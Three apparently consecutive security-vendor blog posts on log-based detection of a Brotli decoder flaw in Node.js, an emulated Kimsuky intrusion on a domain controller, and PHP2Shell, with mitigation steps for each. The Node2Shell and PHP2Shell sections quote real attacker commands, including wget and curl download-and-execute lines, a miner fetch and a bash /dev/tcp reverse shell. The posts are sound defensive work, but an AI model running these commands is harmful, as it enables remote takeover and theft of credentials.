A Brotli stream that declared a single block type and then switched blocks was not rejected, so decoding continued in an invalid state and wrote past a buffer. Any process that decompresses attacker-controlled Brotli data can be hit, in two directions:

• Inbound: a crafted Brotli-compressed HTTP request body sent to a server that decodes it.
• Outbound: a crafted response returned to a client that fetches it.

The bug has several names. Node2Shell came first because Node.js disclosed and fixed it first. HTTP2Shell reflects that it reaches any stack that decodes Brotli over HTTP, and some coverage also uses Python2Shell and Broccoli2Shell.

Disclosure and exploitation timeline

The bug itself shipped in Brotli 1.0.3 in March 2018. Khai Tran and Sylvie Mayer of OpenAI Codex Security reported it to Node.js. A public proof of concept exists, Imperva and ELLIO both reproduced code execution against official Node.js builds, and scanners that map which hosts decompress Brotli are already in use. Code execution has not been shown for the Python packages, although they crash on malicious input, as the web-prod-01 crash in this sample shows.

Node2Shell affected versions and fixes

A vulnerable version is only exposed if attacker data can reach the decoder. In Node.js, that path exists through Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress with request decompression, fetch(), and direct node:zlib Brotli calls. In Python, requests, httpx, aiohttp, and Scrapy use the brotli or brotlicffi package whenever it is installed. In .NET, Brotli decompression is off by default, and Envoy and Istio are exposed only with the Brotli decompressor enabled. curl decodes Brotli only with –compressed, through the system libbrotli, so it needs a patched distribution package; Debian and Red Hat have shipped fixed ones.

Log source and collection

Hosts in the sample

Three hosts appear in the raw data, on two operating systems. Each one shows a different part of the Node2Shell exposure.

Detect Node2Shell (HTTP2Shell)

LogTotal processed 11 lines in 5.3 seconds and matched 23 rules against 10 lines. It formed 2 chains, reported 1, and filtered out 1 at the AI verification step.

The reported chain is Node2Shell / HTTP2Shell is a critical vulnerability (CVE-2026-111497): High, 100% match, 2 rules fired. It sits on a pseudonymized host between 11:30 and 11:31 UTC, and that window and evidence match app-node-01.

Exploitation: the Brotli decoder crash

The rule “Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” matched node segfaulting in libbrotlidec.so.1.1.0. The core dump stack is topped by BrotliDecoderDecompressStream.

The report maps this crash to denial of service (T1499.004), which is where the Impact stage comes from. The rule’s last hit, at 11:33, falls on the python3 crash in _brotli.cpython-311 on web-prod-01, which shows the same library failing in a second runtime.

Post-exploitation on Linux

“Suspicious NodeJS Child Processes [Linux]” fired 4 times as node /opt/app/server.js spawned:

• curl fetching the public C3Pool XMRig miner setup script
• wget http://198.51.100.23:3000/s.sh
• ping -c 1 5axzi7.dnslog.cn, an out-of-band callback check
• cat /etc/passwd

Post-exploitation on Windows, outside the chain

The Windows half of the sample sits outside the reported chain but deserves the same attention. On win-dev-01, node.exe spawned cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, a download-and-execute pattern, and then a hidden powershell.exe running whoami.

Rules that fired on this activity include Suspicious NodeJS Child Processes [Windows], Read Contents From Stdin Via Cmd.EXE, and Suspicious Powershell Cmdlets. The filtered-out chain, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), was driven by the curl executions.

Node2Shell IOCs from this sample

Using LogTotal findings in Node2Shell triage

Start from the reported chain to confirm exploitation on app-node-01, then work through every finding outside the chain. In this sample, the out-of-chain rules and the filtered chain point to two more affected hosts, web-prod-01 and win-dev-01.

Node2Shell (HTTP2Shell) Mitigation

Patching Node.js alone does not close Node2Shell, because the flaw sits in the shared Brotli decoder. Every runtime or proxy that decodes Brotli needs an update, and every host in the sample needs to be in scope.

Patch every Brotli consumer

1. Find services on Node.js below 22.23.4, 24.22.1, or 26.12.1, on an end-of-life Node.js line, or on Bun below 1.4.4, including base images and build hosts.
2. Patch first the services that decompress request bodies (Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress), fetch user-supplied URLs, or pass untrusted data to node:zlib Brotli functions.
3. Upgrade the runtime, then restart processes and rebuild container images, including self-contained .NET apps and binaries built with bun build –compile.
4. Upgrade PyPI brotli to 1.2.1 and brotlicffi to 1.2.1.0, and update the .NET runtime, Envoy, Istio, and distribution brotli packages.
5. Move off Node.js 20 and other end-of-life lines, which receive no fix.
6. Until patches ship, reject Content-Encoding: br at the WAF or proxy, matching it case-insensitively and inside lists such as “gzip, br”. This does not cover Brotli responses read by fetch().

LogTotal’s recommended response

1. Isolate the host.
2. Collect process, system, and network data for 11:30–11:33 UTC.
3. Verify the Node.js patch level: 22.23.4, 24.22.1, or 26.12.1.
4. Remove unauthorized binaries.
5. Reject untrusted Content-Encoding: br at the WAF.
6. Run Node.js unprivileged.
7. Disable automatic Brotli decompression where feasible.

Additional steps from the raw evidence

1. Widen the scope to win-dev-01 and web-prod-01, not just app-node-01.
2. Block at egress 198.51.100.23 and *.dnslog.cn.
3. Check for a miner: cron entries, systemd units, and a running xmrig process.
4. Assume /etc/passwd was read and review accounts accordingly.
5. Hunt for node, node.exe, or python3 spawning shells, downloaders, or network tools.

Ongoing Node2Shell monitoring

Forward kernel and systemd-coredump messages along with EDR process events. In this sample, the coredump stack was the only direct evidence of exploitation, and the EDR events carried everything that followed.

The post Node2Shell/HTTP2Shell Detection appeared first on SOC Prime.

Kimsuky detection depends on recognizing the group’s tradecraft in your own telemetry, not just on matching a hash. Kimsuky is a North Korean APT group, and one of its published campaigns impersonates diplomats to deliver LNK files and PowerShell droppers. Those techniques leave traces in ordinary Windows Security logs: script hosts launched from user-writable folders, hidden PowerShell, new services and scheduled tasks, and quiet account changes.

This article covers Kimsuky detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we describe where the logs came from, what LogTotal flagged, which findings hold up against the raw events, and what the response should be.

Get Started For Free

Kimsuky Analysis

The tradecraft in this sample reads more clearly against the group’s background and its recent campaigns, so we start there before turning to the logs.

Who is Kimsuky

Kimsuky is a North Korean state-sponsored APT group focused on intelligence collection. MITRE ATT&CK tracks it as G0094, and vendors also call it APT43, Velvet Chollima, Black Banshee, THALLIUM, Emerald Sleet, TA427, and Springtail. Its activity is believed to align with North Korea’s Reconnaissance General Bureau.

CISA assesses that the group has most likely operated since 2012. The first detailed public report was Kaspersky’s “The Kimsuky Operation” in 2013, and the name comes from an internal code reference Kaspersky researchers found.

Most Kimsuky operations hit South Korea, with others reaching the United States, Japan, Europe, and Russia. Beyond government and policy targets, victims include academics and the cryptocurrency sector. Spear-phishing is its most observed entry point.

Kimsuky activity in 2026

The sample analyzed here dates from 21 September 2026, inside this period. Its dot-padded, PDF-themed LNK, hidden PowerShell, and logon-triggered scheduled task match these campaigns closely.

The log sample

The sample is a single file, Kimsuky.jsonl, with 3,087 events from one domain controller. It shows Kimsuky-style tradecraft executed against a DC in a controlled emulation, which makes it a useful reference for what this activity looks like in native Windows audit telemetry.

Log source and collection

The JSON layout points to an EVTX-to-JSON conversion rather than a SIEM-normalized export. 

What the events contain

Most events are object and handle auditing (4658, 4656, 4663, 4690), token right adjustments (4703), and file share access (5145). These are high-volume and mostly background noise.

The detection-relevant events are far fewer:

• 49 process creations (4688) with full command lines
• Account and group management (4720–4738)
• Service installation (4697)
• Scheduled task lifecycle: created, updated, deleted (4698, 4702, 4699)
• Active Directory object changes (5136)
• Audit policy changes (4719)

Attack context: an emulation, not a live intrusion

The activity is clearly an emulation of Kimsuky tradecraft. Every attacker command has powershell_ise.exe as its parent process. Objects carry test names such as OrbitalTestSvc, adminuserz, and the password !BackdoorPass1. At the end, the operator removes the service, task, user, and group.

The techniques themselves mirror a published Kimsuky campaign in which the group impersonates diplomats and delivers LNK files and PowerShell droppers. That is why the telemetry is valuable: the behaviors are real even though the operator is not.

Detect Kimsuky

LogTotal processed all 3,087 lines in 16.4 seconds and matched 73 rules against 105 lines. It grouped those matches into 9 attack chains on one host, reported 8, and filtered out 1 at the AI verification step.

How LogTotal’s rules map to raw Kimsuky evidence

Kimsuky IOCs and artifacts from this sample

The artifacts below come from an emulation, so the names themselves will not recur in the wild. The patterns behind them are what to hunt for.

Kimsuky Mitigation

Contain the domain controller first, then rebuild trust in its accounts and logging. LogTotal’s response plan covers the essentials; because the target is a DC, the scope needs to widen to the domain.

LogTotal’s recommended response

1. Isolate the host.
2. Image memory and disk.
3. Verify and remove the OrbitalHealthCheck scheduled task.
4. Check and restore the audit policy.
5. Enable PowerShell Script Block Logging and AMSI telemetry.
6. Apply allowlisting for WScript, CScript, and PowerShell.

Additional steps for a domain controller

1. Start the timeline at the 1102 event. The Security log was cleared at 15:02:41 UTC, so anything before it must come from other sources.
2. Collect and hash everything in C:\Users\Public\Downloads\ and %TEMP%, including the LNK, JScript, PowerShell, HTA, and fake smss.Exe.
3. Confirm cleanup. Verify that OrbitalTestSvc, adminuserz, and admingroupz are gone, and revert the Winlogon\SpecialAccounts\UserList value that hides Administrator.
4. Reset credentials. Reset the Administrator password and plan a double krbtgt reset.
5. Hunt domain-wide for dot-padded LNK file names and for script hosts (wscript.exe, cscript.exe, mshta.exe, powershell.exe) launched from user-writable folders.

Hardening against Kimsuky-style tradecraft

The same controls that catch this sample reduce exposure across the domain. Keep 4688 process creation with command lines enabled, since the 49 process events carried most of the evidence. Alert on 4697 service installs and 4698 task creations that launch hidden PowerShell. Treat any 1102 event on a DC as an incident trigger.

The post Kimsuky Detection and Exploitation Analysis appeared first on SOC Prime.

PHP2Shell detection matters because the window between a patch and real-world exploitation can be a single day. PHP2Shell is the name for two unauthenticated remote code execution flaws in PHP core, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. No authentication is needed, so any exposed PHP application on an unpatched release is a target. In the sample below, exploitation surfaces as a PHP worker crash followed by commands running as the web server user.

This article covers PHP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we explain the vulnerability context, where the logs came from, what LogTotal found, and how to respond.

PHP2Shell Analysis

Both PHP2Shell flaws score 9.2 under CVSS v4.0, and both can be reached without authentication on any PHP installation that serves web requests. To read the log sample correctly, it helps to know how each bug works, how fast the disclosure unfolded, and which installations are exposed.

Get Started For Free

Vulnerability details for PHP2Shell

The two CVEs are separate memory-safety bugs in how PHP handles a request. Either one lets an attacker run code as the web server user.

• CVE-2026-109618, out-of-memory corruption. When PHP runs out of memory partway through setting up a request, internal data is left half built, and the cleanup code then trusts it.
• CVE-2026-109619, stale global state. Internal state outlives the request memory it points to, so the next request the same worker picks up can act on leftover data.

This is why exploitation shows up as PHP “Allowed memory size … exhausted” errors and PHP worker crashes. Public PHP2Shell scanners look for the same signals.

Disclosure and exploitation timeline

Researchers at Calif found the flaws and reported them to PHP. The leak is why LogTotal’s chain is titled “Leaked Critical PHP Vulnerabilities.” Public PoC code and exploit frameworks appeared on GitHub within days, and one research toolkit reports verified command execution as www-data on builds from PHP 7.4 through 8.4 below the fixed releases.

Which systems PHP2Shell affects

PHP lists every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35 as vulnerable, and older branches are affected too.

Every PHP installation that serves web requests is in scope, whether it runs under PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, or FrankenPHP. PHP rates the risk highest for Apache mod_php, where an attack can succeed before any application code runs.

Log source and collection

The file blends two sources into one schema:

• 2 plain-text lines from the PHP runtime and the PHP-FPM error log
• 4 events (file and process), normalized to ECS

The mix is typical of what reaches a SIEM in practice: application error logs alongside EDR telemetry.

Detect PHP2Shell

LogTotal processed 6 lines in 4.2 seconds, matched 9 rules against 4 lines, and formed one chain on web-prod-01: PHP2Shell, Leaked Critical PHP Vulnerabilities (CVE-2026-109618 & CVE-2026-109619), Critical, 100% match, 3 rules fired.

How the PHP2Shell chain unfolds

The chain follows the exploitation in three steps, all within three seconds.

1. Crash. The rule “Possible CVE-2026-109618 / CVE-2026-109619 Exploitation Attempt – PHP Memory Exhaustion / PHP Worker Crash” matched a PHP fatal “Allowed memory size … exhausted” error and PHP-FPM child 1201 dying on SIGSEGV. These are the same crash signals public PHP2Shell scanners look for.
2. Shell from the web worker. “Possible PHP Worker Spawning Unusual Process” and “Suspicious Shell via Web Server [Linux]” caught php-fpm, running as www-data, spawning sh -c bash /dev/shm/.s. The script was staged in RAM-backed /dev/shm.
3. Reverse shell. “Possible Data Exfiltration / Reverse Shell via Bash” matched bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Outside the chain, four more rules hit the same command, led by Linux Reverse Shell Indicator (Critical).

Using LogTotal findings in PHP2Shell triage

The chain gives the order of events and the severity in one screen. The raw events give the IOCs to block and the persistence to remove. Use both: confirm the chain’s three steps, then review the file events and command lines for IOCs and persistence.

PHP2Shell Mitigation

The definitive fix for PHP2Shell is a fixed PHP release, and PHP states that no configuration change fully mitigates these flaws. On a server that has already been exploited, patching is not enough: the webshell and .user.ini persist across a PHP upgrade.

Patch every PHP installation

1. Inventory every server and application that runs PHP, starting with internet-facing systems and any that run PHP as an Apache module.
2. Update each installation to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, matching its branch. Linux distributions received the patches ahead of release, so check for updated distribution packages.
3. Restart every PHP worker so the fix takes effect.
4. For PHP 7.4, 8.0, and 8.1, use a distribution or LTS vendor package or PHP’s minimal source backports, or upgrade. PHP 7.3 and older have no fix.
5. Restrict internet access to any PHP system you cannot update immediately.

Community trackers also report CVE-2026-115560, a separate, configuration-dependent session upload-progress vector covered by a PHP informational advisory on 23 October 2026. It is not part of PHP2Shell and was left for a later release; the interim recommendation is session.upload_progress.enabled = 0.

LogTotal’s recommended response

1. Isolate web-prod-01.
2. Preserve its web, system, and network logs.
3. Investigate the reverse-shell destination.
4. Verify the PHP version and patch.
5. Alert on future PHP worker crashes and shell spawns.

Additional steps from the raw evidence

1. Block egress to 198.51.100.23:4444.
2. Preserve evidence before cleanup: copy uploads/.cache.php, .user.ini, and /dev/shm/.s. Files in /dev/shm are lost on reboot.
3. Remove persistence. Delete the auto_prepend_file directive, or better, rebuild the host on a fixed PHP release.
4. Rotate every secret www-data can read, such as database credentials and API keys in application config.
5. Hunt the web fleet for:
   • .user.ini files containing auto_prepend_file
   • hidden PHP files in upload folders
   • shells spawned by php-fpm, php-cgi, apache2, or httpd

Ongoing PHP2Shell monitoring

Keep PHP and PHP-FPM error logs flowing to your SIEM alongside EDR telemetry. In this sample, the crash lines were the first signal and the EDR file events held the persistence. Either source alone would have told only half the story.

The post PHP2Shell Detection and Exploitation Analysis appeared first on SOC Prime.